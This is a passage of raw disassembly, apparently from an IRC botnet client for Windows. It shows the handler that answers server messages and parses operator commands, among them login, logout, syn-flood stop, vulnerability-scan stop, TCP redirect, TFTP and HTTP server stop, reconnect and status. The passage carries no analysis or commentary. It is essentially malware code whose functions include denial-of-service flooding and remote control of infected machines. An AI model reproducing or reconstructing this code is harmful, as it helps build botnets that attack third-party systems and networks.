		mov	[ebp+var_8], edi


loc_408913:				; CODE XREF: sub_4087B3+15Bj
		cmp	[ebp+var_9A6], bl
		jz	short loc_408921
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_408921:				; CODE XREF: sub_4087B3+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40895B
		push	7Fh
		lea	eax, [ebp+var_A94]
		push	esi
		push	eax
		call	sub_416A10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_416A10
		lea	eax, [ebp+var_C4]
		push	offset asc_42F9BC ; "!"
		push	eax
		call	sub_4176C0
		add	esp, 20h


loc_40895B:				; CODE XREF: sub_4087B3+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4089AC
		push	[ebp+var_9C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_408A50
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		add	esp, 10h
		jmp	loc_408A50
; ---------------------------------------------------------------------------


loc_4089AC:				; CODE XREF: sub_4087B3+1B7j
		mov	esi, [ebp+var_9C]
		push	esi
		push	offset a001	; "001"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1AF
		push	esi
		push	offset a005	; "005"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1AF
		push	esi
		push	offset a302	; "302"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408A17
		push	offset a@	; "@"
		push	[ebp+var_94]
		call	sub_417760
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408A50
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_416A10
		add	esp, 0Ch
		jmp	short loc_408A50
; ---------------------------------------------------------------------------


loc_408A17:				; CODE XREF: sub_4087B3+238j
		push	esi
		push	offset a433	; "433"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408A57
		push	ebx
		push	dword_483620
		push	dword_42C92C
		push	[ebp+arg_10]
		call	sub_401343
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		add	esp, 1Ch


loc_408A50:				; CODE XREF: sub_4087B3+1D8j
					; sub_4087B3+1F4j ...
		mov	eax, edi
		jmp	loc_408B7A
; ---------------------------------------------------------------------------


loc_408A57:				; CODE XREF: sub_4087B3+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A4], 5
		mov	edi, 80h


loc_408A69:				; CODE XREF: sub_4087B3+2DBj
		lea	eax, [ebp+var_A94]
		push	eax
		push	esi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408A86
		mov	[ebp+var_AC], 1


loc_408A86:				; CODE XREF: sub_4087B3+2C7j
		add	esi, edi
		dec	[ebp+var_A4]
		jnz	short loc_408A69
		mov	esi, [ebp+var_9C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408B7F
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 5


loc_408AB5:				; CODE XREF: sub_4087B3+38Fj
		cmp	[esi], bl
		jz	loc_408B3D
		push	7Fh
		lea	eax, [ebp+var_A94]
		push	esi
		push	eax
		call	sub_416A10
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_408B3D
		cmp	[ebp+var_94], ebx
		jz	short loc_408B3D
		push	[ebp+var_94]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408B3D
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_42F93C
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_401014
		add	esp, 20h


loc_408B3D:				; CODE XREF: sub_4087B3+304j
					; sub_4087B3+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_408AB5
		push	[ebp+var_94]
		push	[ebp+arg_10]
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408B77
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_408B6C:				; CODE XREF: sub_4087B3+615j
					; sub_4087B3+858j ...
		push	[ebp+arg_4]
		call	sub_401032


loc_408B74:				; CODE XREF: sub_4087B3+4073j
					; sub_4087B3+4090j ...
		add	esp, 10h


loc_408B77:				; CODE XREF: sub_4087B3+5Bj
					; sub_4087B3+F1j ...
		push	1


loc_408B79:				; CODE XREF: sub_4087B3+45AAj
		pop	eax


loc_408B7A:				; CODE XREF: sub_4087B3+29Fj
					; sub_4087B3+2BB0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_408B7F:				; CODE XREF: sub_4087B3+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408CD5
		mov	eax, [ebp+var_98]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 5
		mov	[ebp+arg_24], eax


loc_408BA8:				; CODE XREF: sub_4087B3+447j
		lea	eax, [ebp+var_A94]
		push	eax
		push	esi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408BF5
		lea	eax, [ebp+var_A94]
		push	21h
		push	eax
		call	sub_417B60
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_408BF5
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4175D0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4175E0
		add	esp, 10h
		mov	edi, 80h


loc_408BF5:				; CODE XREF: sub_4087B3+406j
					; sub_4087B3+41Dj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_408BA8
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_408B77
		cmp	[ebp+arg_24], ebx
		jz	loc_408B77
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408C3D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_416A10
		add	esp, 0Ch
		jmp	loc_408B77
; ---------------------------------------------------------------------------


loc_408C3D:				; CODE XREF: sub_4087B3+473j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_408C42:				; CODE XREF: sub_4087B3+4B0j
		cmp	[edi], bl
		jz	short loc_408C59
		lea	eax, [ebp+var_A94]
		push	eax
		push	edi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408C6A


loc_408C59:				; CODE XREF: sub_4087B3+491j
		inc	esi
		add	edi, 80h
		cmp	esi, 5
		jl	short loc_408C42
		jmp	loc_408B77
; ---------------------------------------------------------------------------


loc_408C6A:				; CODE XREF: sub_4087B3+4A4j
		lea	eax, [ebp+var_A94]
		push	21h
		push	eax
		call	sub_417B60
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_408B77
		push	eax
		call	sub_4158E0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_4158E0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_408B77
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_3	; ":%s%s"
		push	esi
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_4AC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 24h
		jmp	loc_408B77
; ---------------------------------------------------------------------------


loc_408CD5:				; CODE XREF: sub_4087B3+3DBj
		push	esi
		push	offset aPart	; "PART"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CF7
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D1E


loc_408CF7:				; CODE XREF: sub_4087B3+531j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_408CFC:				; CODE XREF: sub_4087B3+569j
		cmp	[edi], bl
		jz	short loc_408D12
		push	[ebp+var_A0]
		push	edi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D6C


loc_408D12:				; CODE XREF: sub_4087B3+54Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 5
		jl	short loc_408CFC


loc_408D1E:				; CODE XREF: sub_4087B3+542j
		push	[ebp+var_9C]
		push	offset dword_42F90C
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408DCD
		push	[ebp+var_90]
		push	[ebp+arg_8]
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D55
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_408D55:				; CODE XREF: sub_4087B3+597j
		push	[ebp+var_90]
		push	offset unk_42F8D8


loc_408D60:				; CODE XREF: sub_4087B3+43D3j
					; sub_4087B3+49F7j
		call	sub_4012B2
		pop	ecx


loc_408D66:				; CODE XREF: sub_4087B3+4733j
		pop	ecx
		jmp	loc_408B77
; ---------------------------------------------------------------------------


loc_408D6C:				; CODE XREF: sub_4087B3+55Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_42F8A4
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_401014
		push	[ebp+var_9C]
		push	offset aPart	; "PART"
		call	sub_416B70
		add	esp, 18h
		test	eax, eax
		jnz	loc_408B77
		lea	eax, [ebp+var_2E4]
		push	eax
		mov	eax, [ebp+var_A0]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_408B6C
; ---------------------------------------------------------------------------


loc_408DCD:				; CODE XREF: sub_4087B3+57Fj
		push	[ebp+var_9C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_416B70
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_408E21
		push	[ebp+var_9C]
		push	edi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408E21
		push	[ebp+var_9C]
		push	offset a332	; "332"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D023
		cmp	dword_42C930, ebx
		jz	loc_40D023


loc_408E21:				; CODE XREF: sub_4087B3+634j
					; sub_4087B3+646j
		push	[ebp+var_9C]
		push	esi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F27
		push	[ebp+var_9C]
		push	edi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F27
		mov	eax, [ebp+var_94]
		inc	[ebp+var_90]
		push	4
		mov	[ebp+var_98], eax
		pop	esi
		mov	[ebp+var_A8], esi


loc_408E68:				; CODE XREF: sub_4087B3+830j
					; sub_4087B3+86Cj ...
		shl	esi, 2
		mov	ecx, [ebp+esi+var_A0]
		lea	eax, [ebp+esi+var_A0]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, byte_42C952
		mov	[ebp+arg_C], edi
		jnz	loc_408B77
		push	edi
		push	offset aLogin	; "login"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D02B
		push	edi
		push	offset aLogin	; "login"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D02B
		cmp	[ebp+var_AC], ebx
		jnz	short loc_408EDB
		push	[ebp+var_9C]
		push	offset a332	; "332"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D023


loc_408EDB:				; CODE XREF: sub_4087B3+70Cj
		cmp	[ebp+arg_28], ebx
		jnz	loc_40D023
		cmp	dword_42CCB0, ebx
		mov	[ebp+arg_8], ebx
		jle	loc_4091A5
		mov	[ebp+arg_20], offset dword_43DBA0


loc_408EFA:				; CODE XREF: sub_4087B3+76Dj
		push	edi
		push	[ebp+arg_20]
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40904F
		inc	[ebp+arg_8]
		add	[ebp+arg_20], 0B8h
		mov	eax, [ebp+arg_8]
		cmp	eax, dword_42CCB0
		jl	short loc_408EFA
		jmp	loc_4091A5
; ---------------------------------------------------------------------------


loc_408F27:				; CODE XREF: sub_4087B3+67Ej
					; sub_4087B3+694j
		push	[ebp+var_9C]
		push	edi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F40
		mov	[ebp+var_4], 1


loc_408F40:				; CODE XREF: sub_4087B3+784j
		cmp	[ebp+var_98], ebx
		jz	loc_408B77
		push	offset dword_42A16C
		push	[ebp+var_98]
		call	sub_417760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408F67
		cmp	[ebp+var_4], ebx
		jz	short loc_408F73


loc_408F67:				; CODE XREF: sub_4087B3+7ADj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_98], eax


loc_408F73:				; CODE XREF: sub_4087B3+7B2j
		cmp	[ebp+var_94], ebx
		jz	loc_408B77
		inc	[ebp+var_94]
		jz	short loc_408FBF
		cmp	[ebp+arg_10], ebx
		jz	short loc_408FBF
		lea	eax, [ebp+var_564]
		push	eax
		call	sub_4158E0
		push	eax
		lea	eax, [ebp+var_564]
		push	[ebp+var_94]
		push	eax
		call	sub_417B10
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_A8], esi
		jmp	short loc_408FC5
; ---------------------------------------------------------------------------


loc_408FBF:				; CODE XREF: sub_4087B3+7D2j
					; sub_4087B3+7D7j
		mov	esi, [ebp+var_A8]


loc_408FC5:				; CODE XREF: sub_4087B3+80Aj
		mov	edi, [ebp+esi*4+var_A0]
		cmp	edi, ebx
		jz	loc_408B77
		push	edi
		push	offset dword_42F878
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E68
		mov	ecx, [ebp+var_98]
		cmp	byte ptr [ecx],	23h
		jz	short loc_409010
		mov	eax, dword_483634
		mov	eax, off_42C9E8[eax*4]
		cmp	[eax], bl
		jz	short loc_409010
		push	eax
		push	ecx
		push	offset dword_42F858
		jmp	loc_408B6C
; ---------------------------------------------------------------------------


loc_409010:				; CODE XREF: sub_4087B3+83Fj
					; sub_4087B3+84Fj
		push	edi
		push	offset dword_42F850
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E68
		mov	eax, [ebp+esi*4+var_9C]
		cmp	eax, ebx
		jz	loc_408E68
		mov	ecx, [ebp+var_98]
		cmp	byte ptr [ecx],	23h
		jz	loc_408E68
		push	eax
		push	ecx
		push	offset dword_42F834
		jmp	loc_408B6C
; ---------------------------------------------------------------------------


loc_40904F:				; CODE XREF: sub_4087B3+754j
		push	offset asc_42F9C0 ; " :"
		push	[ebp+arg_0]
		call	sub_417760
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_408B77
		mov	edi, [ebp+arg_8]
		mov	cl, byte_42C952
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42C952
		mov	[eax+3], cl
		lea	ecx, dword_43DBB8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_416A10
		lea	eax, [ebp+esi+var_60]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax


loc_4090A7:				; CODE XREF: sub_4087B3+98Dj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	offset aD	; "$%d-"
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_417760
		add	esp, 14h
		test	eax, eax
		jz	short loc_40910A
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jz	short loc_40910A
		lea	eax, dword_43DBA0[edi]
		push	eax
		call	sub_4158E0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_409136
		mov	eax, [ebp+arg_20]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417760
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409136
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40113B
		add	esp, 0Ch
		jmp	short loc_409136
; ---------------------------------------------------------------------------


loc_40910A:				; CODE XREF: sub_4087B3+916j
					; sub_4087B3+91Dj
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jnz	short loc_409136
		lea	eax, [ebp+var_20]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416A10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40113B
		add	esp, 18h


loc_409136:				; CODE XREF: sub_4087B3+92Fj
					; sub_4087B3+943j ...
		dec	[ebp+arg_8]
		sub	[ebp+arg_20], 4
		cmp	[ebp+arg_8], ebx
		jg	loc_4090A7
		lea	eax, [ebp+esi+var_60]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_409153:				; CODE XREF: sub_4087B3+9E3j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	offset aD_1	; "$%d"
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_417760
		add	esp, 14h
		test	eax, eax
		jz	short loc_40918D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40918D
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40113B
		add	esp, 0Ch


loc_40918D:				; CODE XREF: sub_4087B3+9C2j
					; sub_4087B3+9C8j
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_409153
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_C8], 1


loc_4091A5:				; CODE XREF: sub_4087B3+73Aj
					; sub_4087B3+76Fj
		mov	al, [edi]
		cmp	al, byte_42C952
		jz	short loc_4091BB
		cmp	[ebp+var_C8], ebx
		jz	loc_40937C


loc_4091BB:				; CODE XREF: sub_4087B3+9FAj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_40113B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_40113B
		push	[ebp+var_98]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40113B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_20]
		push	2
		push	eax
		call	sub_401343
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40113B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer	; "$server"
		push	edi
		call	sub_40113B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417760
		add	esp, 14h


loc_40922A:				; CODE XREF: sub_4087B3+B42j
		test	eax, eax
		jz	loc_4092FA
		push	edi
		push	[ebp+arg_0]
		call	sub_417760
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416A10
		lea	eax, [ebp+var_20]
		push	offset asc_42F7F0 ; ")"
		push	eax
		call	sub_4176C0
		add	esp, 1Ch
		cmp	[ebp+var_20], 30h
		jl	short loc_40926A
		cmp	[ebp+var_20], 39h
		jle	short loc_40927D


loc_40926A:				; CODE XREF: sub_4087B3+AAFj
		push	3
		lea	eax, [ebp+var_20]
		push	offset a63	; "63"
		push	eax
		call	sub_416A10
		add	esp, 0Ch


loc_40927D:				; CODE XREF: sub_4087B3+AB5j
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		jle	short loc_40929A
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416CCF
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_4092AB
; ---------------------------------------------------------------------------


loc_40929A:				; CODE XREF: sub_4087B3+AD6j
		call	sub_416B18
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_4092AB:				; CODE XREF: sub_4087B3+AE5j
		lea	eax, [ebp+var_20]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_4158E0
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_415CA0
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_10]
		push	eax
		call	sub_416A10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40113B
		push	edi
		push	[ebp+arg_0]
		call	sub_417760
		add	esp, 30h
		jmp	loc_40922A
; ---------------------------------------------------------------------------


loc_4092FA:				; CODE XREF: sub_4087B3+A79j
		mov	edi, 1FFh
		lea	eax, [ebp+var_F9C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_416A10
		lea	eax, [ebp+var_F9C]
		push	edi
		push	eax
		lea	eax, [ebp+var_119C]
		push	eax
		call	sub_416A10
		lea	eax, [ebp+var_119C]
		push	offset asc_42BFC4 ; " "
		push	eax
		call	sub_4176C0
		add	esp, 20h
		mov	[ebp+var_A0], eax
		lea	edi, [ebp+var_9C]
		mov	[ebp+arg_10], 1Fh


loc_40934A:				; CODE XREF: sub_4087B3+BACj
		push	offset asc_42BFC4 ; " "
		push	ebx
		call	sub_4176C0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40934A
		mov	ecx, [ebp+esi+var_A0]
		lea	eax, [ebp+esi+var_A0]
		cmp	ecx, ebx
		jz	loc_408B77
		add	ecx, 3
		mov	[eax], ecx


loc_40937C:				; CODE XREF: sub_4087B3+A02j
		mov	edi, [ebp+esi+var_A0]
		push	edi
		push	offset aRndnick_0 ; "rndnick"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFD6
		push	edi
		push	offset aRn	; "rn"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFD6
		push	edi
		push	offset aDien0w	; "dien0w"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFB4
		push	edi
		push	offset aDn0	; "dn0"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFB4
		push	edi
		push	offset aLogout	; "logout"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF09
		push	edi
		push	offset aG0t	; "g0t"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF09
		push	edi
		push	offset aVersion	; "version"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CEEB
		push	edi
		push	offset aVer	; "ver"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CEEB
		push	edi
		push	offset aSecure	; "secure"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDD6
		push	edi
		push	offset aSec	; "sec"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDD6
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDD6
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDD6
		push	edi
		push	offset aHttpdstop ; "httpdstop"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4094BF
		push	[ebp+esi+var_9C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42F770


loc_4094A3:				; CODE XREF: sub_4087B3+D30j
					; sub_4087B3+D56j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010A0
		add	esp, 20h
		jmp	loc_408B77
; ---------------------------------------------------------------------------


loc_4094BF:				; CODE XREF: sub_4087B3+CDBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4094E5
		push	[ebp+esi+var_9C]
		push	1Ch
		push	offset aLogList	; "Log list"
		push	offset dword_42F740
		jmp	short loc_4094A3
; ---------------------------------------------------------------------------


loc_4094E5:				; CODE XREF: sub_4087B3+D1Bj
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40950B
		push	[ebp+esi+var_9C]
		push	10h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset dword_42F700
		jmp	short loc_4094A3
; ---------------------------------------------------------------------------


loc_40950B:				; CODE XREF: sub_4087B3+D41j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409534
		push	[ebp+esi+var_9C]
		push	0Bh
		push	offset aSynFlood ; "Syn	flood"
		push	offset dword_42F6D0
		jmp	loc_4094A3
; ---------------------------------------------------------------------------


loc_409534:				; CODE XREF: sub_4087B3+D67j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40955D
		push	[ebp+esi+var_9C]
		push	4
		push	offset aServer_0 ; "Server"
		push	offset dword_42F6A8
		jmp	loc_4094A3
; ---------------------------------------------------------------------------


loc_40955D:				; CODE XREF: sub_4087B3+D90j
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDBE
		push	edi
		push	offset aProcsoff ; "procsoff"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDBE
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4095B0
		push	[ebp+esi+var_9C]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42F65C
		jmp	loc_4094A3
; ---------------------------------------------------------------------------


loc_4095B0:				; CODE XREF: sub_4087B3+DE3j
		push	edi
		push	offset aScan_stop ; "scan.stop"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4095D9
		push	[ebp+esi+var_9C]
		push	8
		push	offset aVuln	; "Vuln"
		push	offset dword_42F62C
		jmp	loc_4094A3
; ---------------------------------------------------------------------------


loc_4095D9:				; CODE XREF: sub_4087B3+E0Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDA5
		push	edi
		push	offset aScan_sts ; "scan.sts"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDA5
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD84
		push	edi
		push	offset aR	; "r"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD84
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD62
		push	edi
		push	offset aD_0	; "d"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD62
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD1A
		push	edi
		push	offset aQ	; "q"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD1A
		push	edi
		push	offset aStatus	; "status"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCDC
		push	edi
		push	offset aS_6	; "s"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCDC
		push	edi
		push	offset aId	; "id"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
